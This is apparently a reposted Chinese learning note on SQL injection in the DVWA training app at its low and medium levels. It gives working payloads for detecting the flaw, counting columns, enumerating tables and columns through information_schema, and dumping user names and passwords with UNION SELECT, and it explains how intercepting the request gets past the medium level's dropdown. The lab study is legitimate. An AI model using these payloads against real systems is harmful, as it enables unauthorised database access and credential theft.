dvwa随学笔记

                                                                                                        low:

注入1,在输入1' and '1' =' 2结果为空 ,输入1’ or‘1234’ =' 1234注入成功且返回多个值, 表明存在字符型注入
2:猜解sql查询语句中的字段数:输入1' or 1=1 order by 1#返回成功,再输入1' or 1=1 order by 2#,再输入1' or 1=1 order by 3#报错说明说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
3:确定显示的字段顺序:利用输入1' union select 1,2# 说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
4:获取当前数据库:输入1' union select 1,database()# 可以查询到当前的数据库
5:获取数据库中的表:输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#    可以成功查询到dvwa中的表
6:获取数据库列明:union select TABLE_NAME,COLUMN_NAME FROM information_schema.COLUMNS
6:获取表中的字段名:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#    可以查询有几个字段
7:下载数据:输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users# 来获取了表中所有用户的数据

                                                                                                 medium级别

     

Medium级别的代码利用mysql_real_escape_string函数对特殊符号

x00, , ,\,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

  漏洞利用:

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数 

判断漏洞是否存在或者注入是注入是字符型还是数字型

抓包改参数id1′ or 1=1 #,发现报错了 

之后再把id改成1 or 1=1 #,发现查询成功了 这表明存在十字星注入

2.猜解SQL查询语句中的字段数

将把id改为1 order by 2 #,发现可以查询到 1 order by 3#就会报错

说明执行的SQL查询语句中只有两个字段,即这里的First nameSurname

3确认显示的字段数据:输入1 union select 1,2 #

说明执行的SQL语句为select First name,Surname from where ID=id…

4获取当前数据库:抓包更改参数id1 union select 1,database() #,就可以查询到数据库名

5获取数据库中的表1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

    就会查询成功

唉  失望 !!!1

原文地址:https://www.cnblogs.com/cftblack/p/9879492.html